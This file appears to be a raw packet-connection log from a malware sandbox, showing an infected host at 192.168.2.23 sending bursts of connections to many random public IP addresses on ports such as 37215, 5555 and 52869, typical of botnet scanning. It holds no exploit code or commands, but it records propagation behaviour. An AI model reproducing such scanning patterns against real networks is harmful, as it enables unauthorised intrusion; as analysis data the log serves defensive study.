Feb 12, 2023 21:25:02.231255054 CET	52981	37215	192.168.2.23	41.248.36.30
Feb 12, 2023 21:25:02.231256008 CET	52981	37215	192.168.2.23	197.197.45.148
Feb 12, 2023 21:25:02.231261969 CET	52981	37215	192.168.2.23	31.215.123.228
Feb 12, 2023 21:25:02.231261969 CET	52981	37215	192.168.2.23	157.232.245.202
Feb 12, 2023 21:25:02.231266975 CET	52981	37215	192.168.2.23	157.90.140.115
Feb 12, 2023 21:25:02.231266975 CET	52981	37215	192.168.2.23	198.255.204.137
Feb 12, 2023 21:25:02.231266975 CET	52981	37215	192.168.2.23	41.63.48.129
Feb 12, 2023 21:25:02.231271982 CET	52981	37215	192.168.2.23	41.186.37.99
Feb 12, 2023 21:25:02.231271982 CET	52981	37215	192.168.2.23	197.36.198.121
Feb 12, 2023 21:25:02.231273890 CET	52981	37215	192.168.2.23	169.13.33.161
Feb 12, 2023 21:25:02.231273890 CET	52981	37215	192.168.2.23	157.28.88.217
Feb 12, 2023 21:25:02.231292009 CET	52981	37215	192.168.2.23	41.241.48.217
Feb 12, 2023 21:25:02.231295109 CET	52981	37215	192.168.2.23	125.111.107.243
Feb 12, 2023 21:25:02.231295109 CET	52981	37215	192.168.2.23	41.216.84.64
Feb 12, 2023 21:25:02.231295109 CET	52981	37215	192.168.2.23	197.124.165.83
Feb 12, 2023 21:25:02.231302023 CET	52981	37215	192.168.2.23	120.5.52.252
Feb 12, 2023 21:25:02.231302023 CET	52981	37215	192.168.2.23	41.47.56.124
Feb 12, 2023 21:25:02.231304884 CET	52981	37215	192.168.2.23	43.168.152.162
Feb 12, 2023 21:25:02.231304884 CET	52981	37215	192.168.2.23	157.13.226.206
Feb 12, 2023 21:25:02.231304884 CET	52981	37215	192.168.2.23	157.121.77.162
Feb 12, 2023 21:25:02.231308937 CET	52981	37215	192.168.2.23	169.221.58.150
Feb 12, 2023 21:25:02.231312990 CET	52981	37215	192.168.2.23	157.81.49.175
Feb 12, 2023 21:25:02.231322050 CET	52981	37215	192.168.2.23	41.38.56.85
Feb 12, 2023 21:25:02.231322050 CET	52981	37215	192.168.2.23	59.186.0.16
Feb 12, 2023 21:25:02.231322050 CET	52981	37215	192.168.2.23	73.254.236.138
Feb 12, 2023 21:25:02.231333971 CET	52981	37215	192.168.2.23	197.74.123.84
Feb 12, 2023 21:25:02.231348038 CET	52981	37215	192.168.2.23	157.142.108.129
Feb 12, 2023 21:25:02.231348038 CET	52981	37215	192.168.2.23	41.24.219.236
Feb 12, 2023 21:25:02.231348038 CET	52981	37215	192.168.2.23	41.189.109.32
Feb 12, 2023 21:25:02.231348038 CET	52981	37215	192.168.2.23	41.193.241.46
Feb 12, 2023 21:25:02.231348038 CET	52981	37215	192.168.2.23	41.2.63.151
Feb 12, 2023 21:25:02.231348038 CET	52981	37215	192.168.2.23	197.16.46.179
Feb 12, 2023 21:25:02.231357098 CET	52981	37215	192.168.2.23	157.254.34.129
Feb 12, 2023 21:25:02.231360912 CET	52981	37215	192.168.2.23	195.2.246.13
Feb 12, 2023 21:25:02.231363058 CET	52981	37215	192.168.2.23	41.99.42.153
Feb 12, 2023 21:25:02.231385946 CET	52981	37215	192.168.2.23	41.185.108.152
Feb 12, 2023 21:25:02.231385946 CET	52981	37215	192.168.2.23	197.19.165.1
Feb 12, 2023 21:25:02.231400013 CET	52981	37215	192.168.2.23	41.130.159.171
Feb 12, 2023 21:25:02.231409073 CET	52981	37215	192.168.2.23	41.229.183.132
Feb 12, 2023 21:25:02.231410980 CET	52981	37215	192.168.2.23	197.162.203.4
Feb 12, 2023 21:25:02.231435061 CET	52981	37215	192.168.2.23	155.217.248.235
Feb 12, 2023 21:25:02.231441975 CET	52981	37215	192.168.2.23	157.105.186.94
Feb 12, 2023 21:25:02.231445074 CET	52981	37215	192.168.2.23	58.146.120.222
Feb 12, 2023 21:25:02.231448889 CET	52981	37215	192.168.2.23	197.209.206.220
Feb 12, 2023 21:25:02.231448889 CET	52981	37215	192.168.2.23	157.243.202.238
Feb 12, 2023 21:25:02.231448889 CET	52981	37215	192.168.2.23	197.31.236.63
Feb 12, 2023 21:25:02.231448889 CET	52981	37215	192.168.2.23	24.212.210.172
Feb 12, 2023 21:25:02.231448889 CET	52981	37215	192.168.2.23	217.160.211.233
Feb 12, 2023 21:25:02.231456995 CET	52981	37215	192.168.2.23	157.47.154.43
Feb 12, 2023 21:25:02.231467009 CET	52981	37215	192.168.2.23	189.119.189.46
Feb 12, 2023 21:25:02.231467009 CET	52981	37215	192.168.2.23	41.200.176.102
Feb 12, 2023 21:25:02.231472015 CET	52981	37215	192.168.2.23	157.28.178.25
Feb 12, 2023 21:25:02.231472969 CET	52981	37215	192.168.2.23	157.226.238.6
Feb 12, 2023 21:25:02.231487036 CET	52981	37215	192.168.2.23	46.172.107.205
Feb 12, 2023 21:25:02.231494904 CET	52981	37215	192.168.2.23	197.181.95.222
Feb 12, 2023 21:25:02.231496096 CET	52981	37215	192.168.2.23	41.15.250.228
Feb 12, 2023 21:25:02.231519938 CET	52981	37215	192.168.2.23	197.252.235.208
Feb 12, 2023 21:25:02.231524944 CET	52981	37215	192.168.2.23	41.254.118.253
Feb 12, 2023 21:25:02.231524944 CET	52981	37215	192.168.2.23	157.60.166.69
Feb 12, 2023 21:25:02.231533051 CET	52981	37215	192.168.2.23	103.208.60.206
Feb 12, 2023 21:25:02.231563091 CET	52981	37215	192.168.2.23	41.248.72.209
Feb 12, 2023 21:25:02.231568098 CET	52981	37215	192.168.2.23	130.26.149.62
Feb 12, 2023 21:25:02.231580019 CET	52981	37215	192.168.2.23	130.185.246.127
Feb 12, 2023 21:25:02.231590986 CET	52981	37215	192.168.2.23	197.174.188.160
Feb 12, 2023 21:25:02.231605053 CET	52981	37215	192.168.2.23	157.165.159.30
Feb 12, 2023 21:25:02.231614113 CET	52981	37215	192.168.2.23	35.33.95.100
Feb 12, 2023 21:25:02.231616020 CET	52981	37215	192.168.2.23	197.208.104.238
Feb 12, 2023 21:25:02.231616020 CET	52981	37215	192.168.2.23	197.169.124.181
Feb 12, 2023 21:25:02.231618881 CET	52981	37215	192.168.2.23	41.84.121.60
Feb 12, 2023 21:25:02.231618881 CET	52981	37215	192.168.2.23	197.122.122.15
Feb 12, 2023 21:25:02.231647015 CET	52981	37215	192.168.2.23	41.39.63.175
Feb 12, 2023 21:25:02.231654882 CET	52981	37215	192.168.2.23	145.254.0.58
Feb 12, 2023 21:25:02.231663942 CET	52981	37215	192.168.2.23	59.84.45.54
Feb 12, 2023 21:25:02.231664896 CET	52981	37215	192.168.2.23	197.203.199.13
Feb 12, 2023 21:25:02.231663942 CET	52981	37215	192.168.2.23	197.73.39.62
Feb 12, 2023 21:25:02.231668949 CET	52981	37215	192.168.2.23	41.255.133.252
Feb 12, 2023 21:25:02.231672049 CET	52981	37215	192.168.2.23	181.120.87.86
Feb 12, 2023 21:25:02.231673002 CET	52981	37215	192.168.2.23	183.69.156.71
Feb 12, 2023 21:25:02.231673002 CET	52981	37215	192.168.2.23	65.22.64.15
Feb 12, 2023 21:25:02.231684923 CET	52981	37215	192.168.2.23	87.59.65.122
Feb 12, 2023 21:25:02.231686115 CET	52981	37215	192.168.2.23	25.121.178.86
Feb 12, 2023 21:25:02.231686115 CET	52981	37215	192.168.2.23	41.238.53.32
Feb 12, 2023 21:25:02.231686115 CET	52981	37215	192.168.2.23	197.109.82.140
Feb 12, 2023 21:25:02.231688976 CET	52981	37215	192.168.2.23	185.217.207.104
Feb 12, 2023 21:25:02.231686115 CET	52981	37215	192.168.2.23	197.158.103.214
Feb 12, 2023 21:25:02.231688976 CET	52981	37215	192.168.2.23	41.120.41.148
Feb 12, 2023 21:25:02.231707096 CET	52981	37215	192.168.2.23	197.15.202.196
Feb 12, 2023 21:25:02.231707096 CET	52981	37215	192.168.2.23	157.185.56.220
Feb 12, 2023 21:25:02.231707096 CET	52981	37215	192.168.2.23	41.198.9.49
Feb 12, 2023 21:25:02.231709003 CET	52981	37215	192.168.2.23	197.219.120.139
Feb 12, 2023 21:25:02.231710911 CET	52981	37215	192.168.2.23	157.53.83.69
Feb 12, 2023 21:25:02.231719971 CET	52981	37215	192.168.2.23	197.146.113.112
Feb 12, 2023 21:25:02.231719971 CET	52981	37215	192.168.2.23	41.66.18.22
Feb 12, 2023 21:25:02.231720924 CET	52981	37215	192.168.2.23	197.219.40.134
Feb 12, 2023 21:25:02.231719971 CET	52981	37215	192.168.2.23	197.133.246.45
Feb 12, 2023 21:25:02.231728077 CET	52981	37215	192.168.2.23	131.62.152.79
Feb 12, 2023 21:25:02.231745005 CET	52981	37215	192.168.2.23	157.194.160.61
Feb 12, 2023 21:25:02.231745958 CET	52981	37215	192.168.2.23	41.162.25.244
Feb 12, 2023 21:25:02.231756926 CET	52981	37215	192.168.2.23	128.93.109.160
Feb 12, 2023 21:25:02.231756926 CET	52981	37215	192.168.2.23	157.90.236.178
Feb 12, 2023 21:25:02.231767893 CET	52981	37215	192.168.2.23	156.59.205.166
Feb 12, 2023 21:25:02.231777906 CET	52981	37215	192.168.2.23	217.6.3.17
Feb 12, 2023 21:25:02.231795073 CET	52981	37215	192.168.2.23	148.227.64.184
Feb 12, 2023 21:25:02.231801033 CET	52981	37215	192.168.2.23	41.190.55.255
Feb 12, 2023 21:25:02.231817961 CET	52981	37215	192.168.2.23	157.205.32.109
Feb 12, 2023 21:25:02.231823921 CET	52981	37215	192.168.2.23	197.211.55.168
Feb 12, 2023 21:25:02.231823921 CET	52981	37215	192.168.2.23	41.231.152.101
Feb 12, 2023 21:25:02.231832981 CET	52981	37215	192.168.2.23	41.153.94.80
Feb 12, 2023 21:25:02.231857061 CET	52981	37215	192.168.2.23	41.163.253.136
Feb 12, 2023 21:25:02.231857061 CET	52981	37215	192.168.2.23	46.19.208.138
Feb 12, 2023 21:25:02.231863976 CET	52981	37215	192.168.2.23	197.169.58.20
Feb 12, 2023 21:25:02.231868982 CET	52981	37215	192.168.2.23	157.84.17.166
Feb 12, 2023 21:25:02.231889009 CET	52981	37215	192.168.2.23	41.208.45.91
Feb 12, 2023 21:25:02.231904984 CET	52981	37215	192.168.2.23	155.147.61.197
Feb 12, 2023 21:25:02.231908083 CET	52981	37215	192.168.2.23	157.148.104.215
Feb 12, 2023 21:25:02.231920004 CET	52981	37215	192.168.2.23	41.79.88.85
Feb 12, 2023 21:25:02.231925964 CET	52981	37215	192.168.2.23	41.173.220.216
Feb 12, 2023 21:25:02.231925964 CET	52981	37215	192.168.2.23	122.183.189.203
Feb 12, 2023 21:25:02.231936932 CET	52981	37215	192.168.2.23	157.80.192.138
Feb 12, 2023 21:25:02.231937885 CET	52981	37215	192.168.2.23	49.107.159.42
Feb 12, 2023 21:25:02.231978893 CET	52981	37215	192.168.2.23	157.65.202.122
Feb 12, 2023 21:25:02.231985092 CET	52981	37215	192.168.2.23	157.3.122.238
Feb 12, 2023 21:25:02.231985092 CET	52981	37215	192.168.2.23	157.217.134.147
Feb 12, 2023 21:25:02.231987000 CET	52981	37215	192.168.2.23	157.88.30.122
Feb 12, 2023 21:25:02.231987000 CET	52981	37215	192.168.2.23	197.55.49.175
Feb 12, 2023 21:25:02.231996059 CET	52981	37215	192.168.2.23	157.41.102.153
Feb 12, 2023 21:25:02.231996059 CET	52981	37215	192.168.2.23	157.232.239.65
Feb 12, 2023 21:25:02.231996059 CET	52981	37215	192.168.2.23	157.215.90.77
Feb 12, 2023 21:25:02.231996059 CET	52981	37215	192.168.2.23	41.223.140.34
Feb 12, 2023 21:25:02.232017040 CET	52981	37215	192.168.2.23	157.187.186.220
Feb 12, 2023 21:25:02.232018948 CET	52981	37215	192.168.2.23	159.136.142.95
Feb 12, 2023 21:25:02.232028961 CET	52981	37215	192.168.2.23	41.198.243.30
Feb 12, 2023 21:25:02.232052088 CET	52981	37215	192.168.2.23	41.33.24.244
Feb 12, 2023 21:25:02.232052088 CET	52981	37215	192.168.2.23	157.241.62.43
Feb 12, 2023 21:25:02.232059956 CET	52981	37215	192.168.2.23	158.72.48.8
Feb 12, 2023 21:25:02.232069016 CET	52981	37215	192.168.2.23	157.113.2.193
Feb 12, 2023 21:25:02.232069969 CET	52981	37215	192.168.2.23	41.69.132.20
Feb 12, 2023 21:25:02.232078075 CET	52981	37215	192.168.2.23	157.4.235.180
Feb 12, 2023 21:25:02.232078075 CET	52981	37215	192.168.2.23	9.46.216.166
Feb 12, 2023 21:25:02.232078075 CET	52981	37215	192.168.2.23	157.152.166.174
Feb 12, 2023 21:25:02.232094049 CET	52981	37215	192.168.2.23	41.78.169.60
Feb 12, 2023 21:25:02.232130051 CET	52981	37215	192.168.2.23	41.168.241.4
Feb 12, 2023 21:25:02.258887053 CET	37215	52981	157.90.236.178	192.168.2.23
Feb 12, 2023 21:25:02.262533903 CET	5555	22272	181.171.158.140	192.168.2.23
Feb 12, 2023 21:25:02.265264988 CET	37215	52981	217.6.3.17	192.168.2.23
Feb 12, 2023 21:25:02.266062021 CET	37215	52981	41.193.241.46	192.168.2.23
Feb 12, 2023 21:25:02.266277075 CET	52981	37215	192.168.2.23	41.193.241.46
Feb 12, 2023 21:25:02.287169933 CET	47950	80	192.168.2.23	52.50.46.51
Feb 12, 2023 21:25:02.287168980 CET	49606	80	192.168.2.23	55.56.46.55
Feb 12, 2023 21:25:02.287169933 CET	55804	80	192.168.2.23	53.46.49.48
Feb 12, 2023 21:25:02.287169933 CET	49488	80	192.168.2.23	53.46.51.50
Feb 12, 2023 21:25:02.287188053 CET	38514	80	192.168.2.23	53.46.56.53
Feb 12, 2023 21:25:02.287256956 CET	37082	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:25:02.288199902 CET	37215	52981	197.194.138.33	192.168.2.23
Feb 12, 2023 21:25:02.288362980 CET	52981	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:02.288410902 CET	37215	52981	195.2.246.13	192.168.2.23
Feb 12, 2023 21:25:02.300678015 CET	37215	52981	41.248.36.30	192.168.2.23
Feb 12, 2023 21:25:02.311019897 CET	37215	52981	197.131.231.236	192.168.2.23
Feb 12, 2023 21:25:02.319156885 CET	56480	5555	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:02.331548929 CET	55428	37215	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:02.333472013 CET	58866	37215	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:02.336801052 CET	55084	37215	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:02.338399887 CET	45276	37215	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:02.341680050 CET	39938	37215	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:02.420156002 CET	37215	52981	197.4.211.79	192.168.2.23
Feb 12, 2023 21:25:02.447277069 CET	38810	80	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:02.463928938 CET	37215	52981	197.227.16.63	192.168.2.23
Feb 12, 2023 21:25:02.473761082 CET	37215	52981	197.158.103.214	192.168.2.23
Feb 12, 2023 21:25:02.500670910 CET	37215	52981	197.128.60.52	192.168.2.23
Feb 12, 2023 21:25:02.575112104 CET	40346	80	192.168.2.23	49.54.51.46
Feb 12, 2023 21:25:02.575148106 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:25:02.575150013 CET	45802	80	192.168.2.23	53.50.46.50
Feb 12, 2023 21:25:02.575184107 CET	36346	80	192.168.2.23	49.55.51.46
Feb 12, 2023 21:25:02.575184107 CET	44702	80	192.168.2.23	49.55.55.46
Feb 12, 2023 21:25:02.575184107 CET	36672	80	192.168.2.23	49.54.56.46
Feb 12, 2023 21:25:02.575184107 CET	37550	80	192.168.2.23	50.46.54.48
Feb 12, 2023 21:25:02.575213909 CET	33230	80	192.168.2.23	51.51.46.51
Feb 12, 2023 21:25:02.575213909 CET	37360	80	192.168.2.23	50.48.50.46
Feb 12, 2023 21:25:02.575217009 CET	42320	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:02.575239897 CET	59884	80	192.168.2.23	49.57.48.46
Feb 12, 2023 21:25:02.607098103 CET	48132	52869	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:02.639036894 CET	54572	52869	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:02.639039040 CET	46434	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:02.639036894 CET	59114	52869	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:02.639064074 CET	38184	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:02.639064074 CET	36656	52869	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:02.639108896 CET	42788	52869	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:02.644263029 CET	45354	7574	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:02.671082973 CET	34784	52869	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:02.671091080 CET	45422	52869	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:02.671092033 CET	35270	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:02.767147064 CET	40386	81	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:02.829412937 CET	37215	52981	49.107.159.42	192.168.2.23
Feb 12, 2023 21:25:02.946413994 CET	43308	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:02.969773054 CET	22272	5555	192.168.2.23	71.128.49.89
Feb 12, 2023 21:25:02.969774008 CET	22272	5555	192.168.2.23	216.122.30.138
Feb 12, 2023 21:25:02.969774961 CET	22272	5555	192.168.2.23	160.79.224.72
Feb 12, 2023 21:25:02.969774961 CET	22272	5555	192.168.2.23	47.6.8.44
Feb 12, 2023 21:25:02.969794035 CET	22272	5555	192.168.2.23	14.44.75.253
Feb 12, 2023 21:25:02.969836950 CET	22272	5555	192.168.2.23	128.238.144.222
Feb 12, 2023 21:25:02.969839096 CET	22272	5555	192.168.2.23	53.119.237.69
Feb 12, 2023 21:25:02.969840050 CET	22272	5555	192.168.2.23	191.90.142.65
Feb 12, 2023 21:25:02.969837904 CET	22272	5555	192.168.2.23	59.255.42.128
Feb 12, 2023 21:25:02.969839096 CET	22272	5555	192.168.2.23	130.68.118.11
Feb 12, 2023 21:25:02.969841003 CET	22272	5555	192.168.2.23	104.12.161.17
Feb 12, 2023 21:25:02.969852924 CET	22272	5555	192.168.2.23	195.150.187.85
Feb 12, 2023 21:25:02.969852924 CET	22272	5555	192.168.2.23	77.76.57.185
Feb 12, 2023 21:25:02.969852924 CET	22272	5555	192.168.2.23	2.36.187.114
Feb 12, 2023 21:25:02.969852924 CET	22272	5555	192.168.2.23	44.119.102.83
Feb 12, 2023 21:25:02.969852924 CET	22272	5555	192.168.2.23	123.52.102.6
Feb 12, 2023 21:25:02.969858885 CET	22272	5555	192.168.2.23	42.72.9.214
Feb 12, 2023 21:25:02.969860077 CET	22272	5555	192.168.2.23	150.191.209.83
Feb 12, 2023 21:25:02.969860077 CET	22272	5555	192.168.2.23	74.63.50.60
Feb 12, 2023 21:25:02.969860077 CET	22272	5555	192.168.2.23	168.76.173.238
Feb 12, 2023 21:25:02.969860077 CET	22272	5555	192.168.2.23	47.254.63.33
Feb 12, 2023 21:25:02.969860077 CET	22272	5555	192.168.2.23	192.143.120.166
Feb 12, 2023 21:25:02.969877958 CET	22272	5555	192.168.2.23	111.241.33.56
Feb 12, 2023 21:25:02.969919920 CET	22272	5555	192.168.2.23	61.72.197.90
Feb 12, 2023 21:25:02.969919920 CET	22272	5555	192.168.2.23	195.186.161.59
Feb 12, 2023 21:25:02.969919920 CET	22272	5555	192.168.2.23	83.109.182.120
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	58.109.205.105
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	138.255.74.170
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	213.164.66.254
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	166.92.182.248
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	204.162.237.217
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	216.225.1.150
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	31.186.32.66
Feb 12, 2023 21:25:02.969932079 CET	22272	5555	192.168.2.23	9.99.84.102
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	49.146.244.226
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	161.163.145.7
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	85.121.67.241
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	116.82.3.237
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	189.188.190.62
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	189.135.235.104
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	75.20.208.135
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	167.151.244.39
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	67.223.53.47
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	117.202.139.28
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	12.25.12.163
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	51.10.243.104
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	102.190.171.88
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	164.241.147.141
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	86.129.124.67
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	70.112.64.221
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	111.234.102.211
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	109.51.17.60
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	151.22.178.6
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	85.67.216.254
Feb 12, 2023 21:25:02.969974041 CET	22272	5555	192.168.2.23	109.48.246.149
Feb 12, 2023 21:25:02.969958067 CET	22272	5555	192.168.2.23	196.190.77.92
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	82.210.139.85
Feb 12, 2023 21:25:02.969974995 CET	22272	5555	192.168.2.23	108.87.60.210
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	120.31.51.123
Feb 12, 2023 21:25:02.969974995 CET	22272	5555	192.168.2.23	4.139.214.149
Feb 12, 2023 21:25:02.969959021 CET	22272	5555	192.168.2.23	152.70.159.139
Feb 12, 2023 21:25:02.969974995 CET	22272	5555	192.168.2.23	164.25.132.250
Feb 12, 2023 21:25:02.969988108 CET	22272	5555	192.168.2.23	43.170.81.7
Feb 12, 2023 21:25:02.969988108 CET	22272	5555	192.168.2.23	31.7.22.66
Feb 12, 2023 21:25:02.969990015 CET	22272	5555	192.168.2.23	150.136.54.35
Feb 12, 2023 21:25:02.969988108 CET	22272	5555	192.168.2.23	170.135.217.203
Feb 12, 2023 21:25:02.969990015 CET	22272	5555	192.168.2.23	135.37.224.140
Feb 12, 2023 21:25:02.969988108 CET	22272	5555	192.168.2.23	203.206.243.200
Feb 12, 2023 21:25:02.969990015 CET	22272	5555	192.168.2.23	111.100.189.66
Feb 12, 2023 21:25:02.969988108 CET	22272	5555	192.168.2.23	148.215.183.1
Feb 12, 2023 21:25:02.969990015 CET	22272	5555	192.168.2.23	158.129.4.56
Feb 12, 2023 21:25:02.969990015 CET	22272	5555	192.168.2.23	95.92.26.76
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	196.112.136.224
Feb 12, 2023 21:25:02.970052004 CET	22272	5555	192.168.2.23	50.48.3.172
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	144.84.204.180
Feb 12, 2023 21:25:02.970052004 CET	22272	5555	192.168.2.23	154.211.21.41
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	50.164.13.63
Feb 12, 2023 21:25:02.970052004 CET	22272	5555	192.168.2.23	147.71.133.245
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	83.219.91.183
Feb 12, 2023 21:25:02.970052004 CET	22272	5555	192.168.2.23	77.33.101.253
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	106.101.96.235
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	206.106.133.144
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	43.143.131.239
Feb 12, 2023 21:25:02.970051050 CET	22272	5555	192.168.2.23	40.78.230.7
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	189.227.86.101
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	205.222.136.15
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	139.225.239.51
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	110.144.84.183
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	206.167.175.220
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	76.121.101.88
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	104.198.182.70
Feb 12, 2023 21:25:02.970066071 CET	22272	5555	192.168.2.23	60.137.137.161
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	205.212.185.120
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	102.13.152.45
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	75.102.71.35
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	74.153.245.2
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	192.50.36.212
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	107.197.212.78
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	184.172.108.184
Feb 12, 2023 21:25:02.970072985 CET	22272	5555	192.168.2.23	134.126.250.206
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	104.165.72.70
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	106.2.185.132
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	101.173.78.87
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	124.214.77.212
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	49.168.131.218
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	134.78.241.0
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	47.189.15.46
Feb 12, 2023 21:25:02.970077991 CET	22272	5555	192.168.2.23	67.222.112.113
Feb 12, 2023 21:25:02.970089912 CET	22272	5555	192.168.2.23	142.12.181.64
Feb 12, 2023 21:25:02.970089912 CET	22272	5555	192.168.2.23	172.82.250.241
Feb 12, 2023 21:25:02.970089912 CET	22272	5555	192.168.2.23	121.109.9.58
Feb 12, 2023 21:25:02.970089912 CET	22272	5555	192.168.2.23	100.159.205.190
Feb 12, 2023 21:25:02.970089912 CET	22272	5555	192.168.2.23	151.246.26.61
Feb 12, 2023 21:25:02.970089912 CET	22272	5555	192.168.2.23	171.42.94.72
Feb 12, 2023 21:25:02.970091105 CET	22272	5555	192.168.2.23	94.63.105.101
Feb 12, 2023 21:25:02.970091105 CET	22272	5555	192.168.2.23	166.252.173.179
Feb 12, 2023 21:25:02.970160961 CET	22272	5555	192.168.2.23	114.99.189.6
Feb 12, 2023 21:25:02.970160961 CET	22272	5555	192.168.2.23	134.164.73.241
Feb 12, 2023 21:25:02.970168114 CET	22272	5555	192.168.2.23	142.62.10.101
Feb 12, 2023 21:25:02.970170975 CET	22272	5555	192.168.2.23	36.131.166.221
Feb 12, 2023 21:25:02.970170975 CET	22272	5555	192.168.2.23	9.20.180.27
Feb 12, 2023 21:25:02.970170975 CET	22272	5555	192.168.2.23	43.45.21.209
Feb 12, 2023 21:25:02.970170975 CET	22272	5555	192.168.2.23	57.202.90.174
Feb 12, 2023 21:25:02.970170975 CET	22272	5555	192.168.2.23	44.113.222.235
Feb 12, 2023 21:25:02.970171928 CET	22272	5555	192.168.2.23	9.226.51.27
Feb 12, 2023 21:25:02.970171928 CET	22272	5555	192.168.2.23	170.156.135.163
Feb 12, 2023 21:25:02.970171928 CET	22272	5555	192.168.2.23	186.137.198.105
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	118.37.40.78
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	88.78.188.48
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	157.160.200.128
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	142.126.118.154
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	77.123.152.240
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	186.130.21.6
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	142.42.215.11
Feb 12, 2023 21:25:02.970210075 CET	22272	5555	192.168.2.23	45.109.76.161
Feb 12, 2023 21:25:02.970227957 CET	22272	5555	192.168.2.23	109.193.15.159
Feb 12, 2023 21:25:02.970227957 CET	22272	5555	192.168.2.23	146.41.216.72
Feb 12, 2023 21:25:02.970277071 CET	22272	5555	192.168.2.23	158.225.182.194
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	168.117.118.35
